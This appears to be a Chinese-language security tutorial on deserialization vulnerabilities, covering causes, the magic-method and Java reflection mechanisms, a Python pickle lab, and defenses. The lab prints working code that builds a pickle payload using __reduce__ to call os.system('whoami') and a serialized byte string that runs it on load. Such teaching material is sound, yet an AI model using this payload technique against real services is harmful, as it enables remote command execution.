漏洞简介

序列化:把对象转换为字节序列的过程,即把对象转换为可以存储或传输的数据的过程。例如将内存中的对象转换为二进制数据流或文件,在网络传输过程中,可以是字节或是XML等格式。
反序列化:把字节序列恢复为对象的过程,即把可以存储或传输的数据转换为对象的过程。例如将二进制数据流或文件加载到内存中还原为对象。

反序列化漏洞首次出现在2015。虽然漏洞较新,但利用十分热门,主要原因还是太过信任客户端提交的数据,容易被开发者忽略,该漏洞一般都可执行任意命令或代码,造成的影响较大。

漏洞成因

在身份验证,文件读写,数据传输等功能处,在未对反序列化接口做访问控制,未对序列化数据做加密和签名,加密密钥使用硬编码(如Shiro 1.2.4),使用不安全的反序列化框架库(如Fastjson 1.2.24)或函数的情况下,由于序列化数据可被用户控制,攻击者可以精心构造恶意的序列化数据(执行特定代码或命令的数据)传递给应用程序,在应用程序反序列化对象时执行攻击者构造的恶意代码,达到攻击者的目的。

漏洞原理

在Python和PHP中,一般通过构造一个包含魔术方法(在发生特定事件或场景时被自动调用的函数,通常是构造函数或析构函数)的类,然后在魔术方法中调用命令执行或代码执行函数,接着实例化这个类的一个对象并将该对象序列化后传递给程序,当程序反序列化该对象时触发魔术方法从而执行命令或代码。在Java中没有魔术方法,但是有反射(reflection)机制:在程序的运行状态中,可以构造任意一个类的对象,可以了解任意一个对象所属的类,可以了解任意一个类的成员变量和方法,可以调用任意一个对象的属性和方法,这种动态获取程序信息以及动态调用对象的功能称为Java语言的反射机制。一般利用反射机制来构造一个执行命令的对象或直接调用一个具有命令执行或代码执行功能的方法实现任意代码执行。

Python反序列化漏洞实验

以pickle模块为例,假设浏览器传递序列化后的Cookie给服务器保存,服务器经过一些处理后反序列化还原Cookie:

#!/usr/bin/python3
import pickle
# 客户端设置Cookie
set_cookie='abcdefasfsaafasf'
# 序列化后传递
cookie=pickle.dumps(set_cookie)
print("序列化:",cookie)
# ...
# 服务器接收到序列化后的Cookie
# 反序列化还原Cookie
new_cookie=pickle.loads(cookie)
print("反序列化:",new_cookie)

程序正常运行时,如图:

python 反序列化漏洞 反序列化漏洞特征_反序列化


利用pickle模块和魔术方法__reduce__生成执行命令的Payload:

#!/usr/bin/python3
import pickle
import os

# 定义一个执行命令的类
class exec:
    def __init__(self,cmd):
        self.cmd=cmd
    #  __reduce__()函数返回一个元组时 , 第一个元素是一个可调用对象 , 这个对象会在创建对象时被调用,
    #  第二个元素是可调用对象的参数,pickle.loads会解决import问题,对于未引入的module会自动尝试import
    def __reduce__(self):
        return (os.system,(self.cmd,))
# 实例化对象
res=exec('whoami')
# 生成序列化数据
payload=pickle.dumps(res)
print("Payload:",payload)

生成执行whoami命令的Payload,如图:

python 反序列化漏洞 反序列化漏洞特征_反序列化_02


使用执行whoami命令的Payload替换序列化后的Cookie的值模拟RCE漏洞利用,当正常程序反序列化Cookie值时生成包含__reduce__函数的exec类,从而执行命令:

#!/usr/bin/python3
import pickle
# 传递执行whoami命令的序列化数据
cookie=b'\x80\x04\x95\x1e\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'
# 反序列化还原Cookie
new_cookie=pickle.loads(cookie)

程序运行结果,如图:

python 反序列化漏洞 反序列化漏洞特征_python 反序列化漏洞_03

防御方法

对反序列数据加密或签名,且加密密钥和签名密钥不要使用硬编码
对反序列化接口添加认证授权
设置反序列化服务仅在本地监听或者设置相应防火墙策略
禁止使用存在漏洞的第三方框架库
过滤、禁用危险函数
过滤T3协议或限定可连接的IP
设置Nginx反向代理,实现t3协议和http协议隔离